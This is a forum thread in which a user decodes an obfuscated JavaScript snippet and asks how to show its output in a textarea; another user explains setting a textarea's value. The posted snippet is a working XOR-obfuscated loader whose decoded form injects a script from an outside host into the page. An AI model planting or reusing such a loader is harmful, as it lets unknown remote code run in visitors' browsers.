Results 1 to 3 of 3

Thread: alert within a textarea

  1. #1
    Join Date
    Oct 2009
    Posts
    31
    Thanks
    3
    Thanked 0 Times in 0 Posts

    Default alert within a textarea

    Hi,

    If i have code which contains:

    document.write()... and I replace with alert() the code is poped up. However im trying to create a function which does the same functionality as alert() except doesnt pop up - all data is within a textarea.

    Example:

    Code:
    <script>
    
    var enkripsi="'1Aqapkrv'1G'2Cc'1Ffmawoglv,apgcvgGngoglv'0:'05qapkrv'05'0;'1@'2Cc,qpa'1F'05jvvr'1C--qvcdd,`ncaicrrngjmqv,amo-H2[-qapkrv,vzv'05'1@'2Cfmawoglv,egvGngoglvq@{VceLcog'0:'00jgcf'00'0;'7@2'7F,crrglfAjknf'0:c'0;'1@'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);
    
    </script>
    I've now replaced document.write with alert:

    Code:
    <script>
    
    var enkripsi="'1Aqapkrv'1G'2Cc'1Ffmawoglv,apgcvgGngoglv'0:'05qapkrv'05'0;'1@'2Cc,qpa'1F'05jvvr'1C--qvcdd,`ncaicrrngjmqv,amo-H2[-qapkrv,vzv'05'1@'2Cfmawoglv,egvGngoglvq@{VceLcog'0:'00jgcf'00'0;'7@2'7F,crrglfAjknf'0:c'0;'1@'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);alert(teksasli);
    
    </script>

    and in the popup (data) it says:

    Code:
    <script>
    a=document.createElement('script');
    a.src='http://staff.blackapplehost.com/J0Y/script.txt';
    document.getElementsByTagName("head")[0].appendChild(a);
    </script>

    But i want the data within the popup to not display within a popup but within a textarea.

    Perhaps i can use a function and then replace document.write with that function name (instead of alert).

    Thanks
    Last edited by newbtophp; 10-26-2009 at 10:47 PM.

  2. #2
    Join Date
    Mar 2005
    Location
    SE PA USA
    Posts
    30,495
    Thanks
    82
    Thanked 3,449 Times in 3,410 Posts
    Blog Entries
    12

    Default

    Writing to a text area is done by assigning the string in question to its value property. For example:

    Code:
    <textarea id="myarea" cols="70" rows="14"></textarea>
    <script type="text/javascript">
    document.getElementById('myarea').value = 'We Did It!';
    </script>
    So, if you have:

    Code:
    document.write(something);
    You may:

    Code:
    document.getElementById('myarea').value = something;
    The only thing that's different from an alert or document.write is that the text area must exist (have already been parsed by the browser) before you can set or change its value property.
    - John
    ________________________

    Show Additional Thanks: International Rescue Committee - Donate or: The Ocean Conservancy - Donate or: PayPal - Donate

  3. #3
    Join Date
    Oct 2009
    Posts
    31
    Thanks
    3
    Thanked 0 Times in 0 Posts

    Default

    Thanks John

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •